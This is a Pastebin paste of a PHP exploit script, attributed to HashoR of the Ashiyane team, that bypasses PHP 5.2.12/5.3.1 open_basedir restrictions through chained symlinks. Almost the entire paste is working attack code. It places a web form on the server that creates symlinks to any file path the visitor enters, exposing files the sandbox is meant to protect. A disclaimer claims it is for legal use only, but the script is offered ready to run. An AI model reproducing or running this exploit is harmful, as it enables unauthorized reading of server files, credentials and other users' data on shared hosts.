aekaek

symlink

Jan 20th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.92 KB | None | 0 0
  1. <?php
  2. /*
  3.  
  4. PHP 5.2.12/5.3.1 symlink() open_basedir bypass
  5.  
  6. by HashoR http://www.ashiyane.org/
  7.  
  8. Kafaran [ d0t] bi [ d0t] edeaa [ a.T] gmail [ d0t] com
  9.  
  10.  
  11.  
  12. CHUJWAMWMUZG
  13.  
  14. */
  15. $fakedir = "cx";
  16. $fakedep = 16;
  17. $num = 0; // offset of symlink.$num
  18. if (!empty($_GET['file'])) $file = $_GET['file'];
  19. else if (!empty($_POST['file'])) $file = $_POST['file'];
  20. else $file = "";
  21. echo '<PRE><P>This is exploit from <a
  22.  
  23. href="http://ashiyane.org/forums/" title="Security Audit PHP">Ashiyane Digital Security Team - HashoR</a> labs.
  24.  
  25. EDIT : HashoR
  26.  
  27. <p>Script for legal use only.
  28.  
  29. <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
  30.  
  31. <p>More: <a href="http://ashiyane.org/forums">ashiyane_forums</a>
  32.  
  33. <p><form name="form"
  34.  
  35. action="http://' . $_SERVER["HTTP_HOST"] . htmlspecialchars($_SERVER["PHP_SELF"]) . '" method="post"><input type="text" name="file" size="50" value="' . htmlspecialchars($file) . '"><input type="submit" name="hym" value="Create Symlink"></form>';
  36. if (empty($file)) exit;
  37. if (!is_writable(".")) die("not writable directory");
  38. $level = 0;
  39. for ($as = 0;$as < $fakedep;$as++) {
  40. if (!file_exists($fakedir)) mkdir($fakedir);
  41. chdir($fakedir);
  42. }
  43. while (1 < $as--) chdir("..");
  44. $hardstyle = explode("/", $file);
  45. for ($a = 0;$a < count($hardstyle);$a++) {
  46. if (!empty($hardstyle[$a])) {
  47. if (!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]);
  48. chdir($hardstyle[$a]);
  49. $as++;
  50. }
  51. }
  52. $as++;
  53. while ($as--) chdir("..");
  54. @rmdir("fakesymlink");
  55. @unlink("fakesymlink");
  56. @symlink(str_repeat($fakedir . "/", $fakedep), "fakesymlink");
  57. // this loop will skip allready created symlinks.
  58. while (1) if (true == (@symlink("fakesymlink/" . str_repeat("../", $fakedep - 1) . $file, "symlink" . $num))) break;
  59. else $num++;
  60. @unlink("fakesymlink");
  61. mkdir("fakesymlink");
  62. die('<FONT COLOR="RED">check symlink <a href="./symlink' . $num . '">symlink' . $num . '</a> file</FONT>');
  63. ?>
Add Comment
Please, Sign In to add comment